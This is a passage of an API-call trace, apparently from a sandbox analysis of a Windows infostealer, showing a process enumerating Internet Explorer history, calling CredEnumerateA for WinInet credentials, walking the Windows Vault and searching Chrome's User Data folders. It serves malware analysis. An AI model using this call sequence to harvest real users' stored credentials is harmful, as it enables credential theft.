IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.659] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/jMBQtenVyg4L.doc", lpSrch="?") returned 0x0 [0053.660] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/jMBQtenVyg4L.doc") returned 60 [0053.660] CoTaskMemFree (pv=0x94077e0) [0053.660] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.660] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/5Vq7ts5XTUL1xNW-PMiE.swf", lpSrch="?") returned 0x0 [0053.660] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/5Vq7ts5XTUL1xNW-PMiE.swf") returned 65 [0053.660] CoTaskMemFree (pv=0x7601b0) [0053.660] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.660] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/1eHisKgXjHl6Wmlw.xlsx", lpSrch="?") returned 0x0 [0053.660] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/1eHisKgXjHl6Wmlw.xlsx") returned 85 [0053.660] CoTaskMemFree (pv=0x751960) [0053.660] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.660] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/y9c56JojY.pdf", lpSrch="?") returned 0x0 [0053.660] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/y9c56JojY.pdf") returned 88 [0053.660] CoTaskMemFree (pv=0x756d60) [0053.660] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.661] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/GA%20JMw77e8oNU-n.png", lpSrch="?") returned 0x0 [0053.661] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/GA%20JMw77e8oNU-n.png") returned 76 [0053.661] CoTaskMemFree (pv=0x7593f0) [0053.661] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.661] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/d6HBqDQRMq.mkv", lpSrch="?") returned 0x0 [0053.661] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/d6HBqDQRMq.mkv") returned 73 [0053.661] CoTaskMemFree (pv=0x7635b8) [0053.661] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.661] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/hFkyaUDkmRi%20MKftN6.gif", lpSrch="?") returned 0x0 [0053.661] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/hFkyaUDkmRi%20MKftN6.gif") returned 79 [0053.661] CoTaskMemFree (pv=0x759540) [0053.661] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.661] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/J1SwBT78kuBb8NnH-ee.pps", lpSrch="?") returned 0x0 [0053.661] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/J1SwBT78kuBb8NnH-ee.pps") returned 109 [0053.661] CoTaskMemFree (pv=0x761db8) [0053.661] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.661] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/bCh6U-uL.jpg", lpSrch="?") returned 0x0 [0053.662] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/bCh6U-uL.jpg") returned 54 [0053.662] CoTaskMemFree (pv=0x762370) [0053.662] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.662] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/Z517SuiN6.docx", lpSrch="?") returned 0x0 [0053.662] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/Z517SuiN6.docx") returned 78 [0053.662] CoTaskMemFree (pv=0x759690) [0053.662] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.662] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/QDxUwWleiuqwe1.mkv", lpSrch="?") returned 0x0 [0053.662] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/QDxUwWleiuqwe1.mkv") returned 103 [0053.662] CoTaskMemFree (pv=0x7667e0) [0053.662] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.662] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/1AuteqdBfZ5_r_d4hu.pdf", lpSrch="?") returned 0x0 [0053.662] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/1AuteqdBfZ5_r_d4hu.pdf") returned 72 [0053.662] CoTaskMemFree (pv=0x7635b8) [0053.662] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.662] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/WyJQfXPRvA/DHgnlVpZ3lvPkDQ.xlsx", lpSrch="?") returned 0x0 [0053.662] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/WyJQfXPRvA/DHgnlVpZ3lvPkDQ.xlsx") returned 75 [0053.663] CoTaskMemFree (pv=0x764378) [0053.663] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.663] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/k8jrtDj9LyfwcfMd.png", lpSrch="?") returned 0x0 [0053.663] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/k8jrtDj9LyfwcfMd.png") returned 75 [0053.663] CoTaskMemFree (pv=0x764558) [0053.663] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.663] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/SdI5ZiIGaunc3Jf-.flv", lpSrch="?") returned 0x0 [0053.663] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/SdI5ZiIGaunc3Jf-.flv") returned 61 [0053.663] CoTaskMemFree (pv=0x9407868) [0053.663] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.663] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/QXWTW5henjq45siD.xlsx", lpSrch="?") returned 0x0 [0053.663] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/QXWTW5henjq45siD.xlsx") returned 65 [0053.663] CoTaskMemFree (pv=0x760510) [0053.663] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.663] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/4cCVdCfRqm2PKclZuyd.jpg", lpSrch="?") returned 0x0 [0053.663] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/4cCVdCfRqm2PKclZuyd.jpg") returned 66 [0053.664] CoTaskMemFree (pv=0x760630) [0053.664] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.664] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/dlOBfm9.ots", lpSrch="?") returned 0x0 [0053.664] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/dlOBfm9.ots") returned 86 [0053.664] CoTaskMemFree (pv=0x751178) [0053.664] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.664] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/DK-E.xlsx", lpSrch="?") returned 0x0 [0053.664] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/DK-E.xlsx") returned 115 [0053.664] CoTaskMemFree (pv=0x74dc68) [0053.664] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.664] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/zpoDQviNc.swf", lpSrch="?") returned 0x0 [0053.664] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/zpoDQviNc.swf") returned 54 [0053.664] CoTaskMemFree (pv=0x762370) [0053.664] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.664] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/WpVXOp1gVu2uzYqx.bmp", lpSrch="?") returned 0x0 [0053.665] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/WpVXOp1gVu2uzYqx.bmp") returned 96 [0053.665] CoTaskMemFree (pv=0x767ee8) [0053.665] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.665] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/PtkBw.mkv", lpSrch="?") returned 0x0 [0053.665] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/PtkBw.mkv") returned 95 [0053.665] CoTaskMemFree (pv=0x74a990) [0053.665] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.665] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JMv9vu9eMGinA7raPk.mkv", lpSrch="?") returned 0x0 [0053.665] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JMv9vu9eMGinA7raPk.mkv") returned 64 [0053.665] CoTaskMemFree (pv=0x760630) [0053.665] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.665] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/NAaJLKWJUQRz.xlsx", lpSrch="?") returned 0x0 [0053.665] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/NAaJLKWJUQRz.xlsx") returned 61 [0053.665] CoTaskMemFree (pv=0x7367a0) [0053.665] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.665] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/qdx%20f.doc", lpSrch="?") returned 0x0 [0053.665] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/qdx%20f.doc") returned 63 [0053.666] CoTaskMemFree (pv=0x736938) [0053.666] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.666] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/ladBL2_ACMH3.png", lpSrch="?") returned 0x0 [0053.666] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/ladBL2_ACMH3.png") returned 59 [0053.666] CoTaskMemFree (pv=0x749010) [0053.666] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.666] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/T-Pct0XA.jpg", lpSrch="?") returned 0x0 [0053.666] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/T-Pct0XA.jpg") returned 55 [0053.666] CoTaskMemFree (pv=0x762910) [0053.666] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.666] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZkDQnd37h.bmp", lpSrch="?") returned 0x0 [0053.666] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZkDQnd37h.bmp") returned 89 [0053.666] CoTaskMemFree (pv=0x756d60) [0053.666] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.666] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/izBLIIiGcSgs07tfFVbl.jpg", lpSrch="?") returned 0x0 [0053.666] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/izBLIIiGcSgs07tfFVbl.jpg") returned 66 [0053.667] CoTaskMemFree (pv=0x940a908) [0053.667] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x0) returned 0x1 [0053.667] IUnknown:Release (This=0x75a808) returned 0x0 [0053.668] IUnknown:Release (This=0x74ccd0) returned 0x1 [0053.668] lstrlenW (lpString="http://www.facebook.com/") returned 24 [0053.668] CredEnumerateA (in: Filter="Microsoft_WinInet_*", Flags=0x0, Count=0xefd5c, Credential=0xefd60 | out: Count=0xefd5c, Credential=0xefd60) returned 0 [0053.684] VaultOpenVault () returned 0x0 [0054.248] VaultEnumerateItems () returned 0x0 [0054.248] VaultCloseVault () returned 0x0 [0054.249] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.249] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0054.249] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.249] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.249] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0054.253] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0054.253] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.253] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.253] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0054.253] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd58) returned 0x0 [0054.253] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0054.253] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd70) returned 0x0 [0054.253] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x76a4b0 [0054.253] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0054.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0054.253] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0054.253] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756d60 [0054.253] lstrcpyA (in: lpString1=0x756d60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0054.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0054.253] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0054.253] lstrlenA (lpString="\\*.*") returned 4 [0054.253] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74afd0 [0054.253] lstrcpyA (in: lpString1=0x74afd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0054.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*" [0054.253] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 0xffffffff [0054.254] LocalFree (hMem=0x74afd0) returned 0x0 [0054.254] LocalFree (hMem=0x756d60) returned 0x0 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x76a4b0 [0054.254] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0054.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0054.254] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756d60 [0054.254] lstrcpyA (in: lpString1=0x756d60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0054.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0054.254] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned 53 [0054.254] lstrlenA (lpString="\\*.*") returned 4 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74afd0 [0054.254] lstrcpyA (in: lpString1=0x74afd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome" [0054.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*" [0054.254] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 0xffffffff [0054.254] LocalFree (hMem=0x74afd0) returned 0x0 [0054.254] LocalFree (hMem=0x756d60) returned 0x0 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x76a4b0 [0054.254] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x76a4b0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0054.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0054.254] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756d60 [0054.254] lstrcpyA (in: lpString1=0x756d60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0054.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.254] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0054.254] lstrlenA (lpString="\\*.*") returned 4 [0054.254] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756ca0 [0054.254] lstrcpyA (in: lpString1=0x756ca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*" [0054.254] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 0x72dcd0 [0054.256] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.256] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 1 [0054.256] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.256] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.256] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xefbd4 | out: lpFindFileData=0xefbd4) returned 1 [0054.256] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0054.256] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0054.256] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned 51 [0054.257] lstrlenA (lpString="\\") returned 1 [0054.257] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0054.257] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome" [0054.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0054.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned 52 [0054.257] lstrlenA (lpString="User Data") returned 9 [0054.257] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74afd0 [0054.257] lstrcpyA (in: lpString1=0x74afd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0054.257] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0054.257] LocalFree (hMem=0x756820) returned 0x0 [0054.257] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") 